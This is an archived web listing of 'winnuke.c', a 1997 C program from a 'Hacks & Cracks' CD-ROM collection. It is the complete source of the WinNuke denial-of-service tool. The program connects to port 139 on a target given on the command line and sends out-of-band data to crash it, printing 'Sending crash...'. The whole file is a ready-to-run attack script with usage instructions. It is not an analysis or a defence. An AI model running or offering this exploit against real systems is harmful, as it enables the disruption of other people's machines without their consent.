home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / c_scripts / winnuke.c < prev    next >
C/C++ Source or Header  |  1998-03-25  |  2KB  |  71 lines

  1. /* winnuke.c - (05/07/97)  By _eci  */
  2. /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
  3.  
  4.  
  5. #include <stdio.h>
  6. #include <string.h>
  7. #include <netdb.h>
  8. #include <netinet/in.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <unistd.h>
  12.  
  13. #define dport 139  /* Attack port: 139 is what we want */
  14.  
  15. int x, s;
  16. char *str = "Bye";  /* Makes no diff */
  17. struct sockaddr_in addr, spoofedaddr;
  18. struct hostent *host;
  19.  
  20.  
  21. int open_sock(int sock, char *server, int port) {
  22.      struct sockaddr_in blah;
  23.      struct hostent *he;
  24.      bzero((char *)&blah,sizeof(blah));
  25.      blah.sin_family=AF_INET;
  26.      blah.sin_addr.s_addr=inet_addr(server);
  27.      blah.sin_port=htons(port);
  28.  
  29.  
  30.     if ((he = gethostbyname(server)) != NULL) {
  31.         bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
  32.     }
  33.     else {
  34.          if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
  35.            perror("gethostbyname()");
  36.            return(-3);
  37.          }
  38.     }
  39.  
  40.         if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
  41.              perror("connect()");
  42.              close(sock);
  43.              return(-4);
  44.         }
  45.         printf("Connected to [%s:%d].\n",server,port);
  46.         return;
  47. }
  48.  
  49.  
  50. void main(int argc, char *argv[]) {
  51.  
  52.      if (argc != 2) {
  53.        printf("Usage: %s <target>\n",argv[0]);
  54.        exit(0);
  55.      }
  56.  
  57.      if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
  58.         perror("socket()");
  59.         exit(-1);
  60.      }
  61.  
  62.      open_sock(s,argv[1],dport);
  63.  
  64.  
  65.      printf("Sending crash... ");
  66.        send(s,str,strlen(str),MSG_OOB);
  67.        usleep(100000);
  68.      printf("Done!\n");
  69.      close(s);
  70. }
  71.